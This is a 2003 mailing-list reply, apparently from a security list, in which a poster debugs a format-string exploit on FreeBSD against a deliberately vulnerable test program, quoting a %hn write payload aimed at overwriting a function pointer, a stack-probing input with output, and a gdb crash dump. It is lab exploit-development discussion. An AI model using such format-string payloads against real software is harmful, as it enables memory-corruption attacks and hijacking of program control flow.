Re: Formatstrings on *BSD

From: Ingram (Vailat_private)
Date: Fri Jun 20 2003 - 01:07:26 PDT

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    >>[%.-16457x%8$hn%.15261x%9$hn] (35)   
    >>
    >^---- first question is your input still at %8$x and %9$x on the bsd box?
    
    yep, see here:
    
    > uname
    FreeBSD
    > ./vuln AAAABBBB%x%x%x%x%x%x%x%x%x
    0 0xbfbffccc
    1 0xbfbffcd3
    helloWorld() = 0x8048770
    accessForbidden() = 0x80487a0
    
    before : ptrf() = 0x8048770 (0xbfbffad8)
    buffer =
    [AAAABBBB2805f00022806dfe4105b6cc2805f100bfbffb1480487704141414142424242] (71)
    after : ptrf() = 0x8048770 (0xbfbffad8)
    Welcome in "helloWorld"
    
    
    >>...
    >>Segmentation fault (core dumped)   
    >>
    >^---- second ... what does the bt look like in gdb...
    
    here we go, the fmt seems to corrupt eax
    
    > gdb -core vuln.core
    GNU gdb 4.18
    .
    .
    .
    This GDB was configured as "i386-unknown-freebsd".
    Core was generated by `vuln'.
    Program terminated with signal 11, Segmentation fault.
    #0  0x40517d31 in ?? ()
    (gdb) bt
    #0  0x40517d31 in ?? ()
    #1  0x8048805 in ?? ()
    #2  0x8048767 in ?? ()
    #3  0x8048561 in ?? ()
    (gdb) i reg
    eax            0x40517d31       1079082289
    ecx            0x8049a70        134519408
    edx            0x280e9968       672045416
    ebx            0x280e8424       672039972
    esp            0xbfbffad4       0xbfbffad4
    ebp            0xbfbffae0       0xbfbffae0
    esi            0x1      1
    edi            0x280e9960       672045408
    eip            0x40517d31       0x40517d31
    eflags         0x10216  66070
    cs             0x1f     31
    ss             0x2f     47
    ds             0x2f     47
    es             0x2f     47
    fs             0x2f     47
    gs             0x2f     47
    (gdb) x/1x $eax
    0x40517d31:     Cannot access memory at address 0x40517d31.
    
    
    kind regards
    Ingram
    
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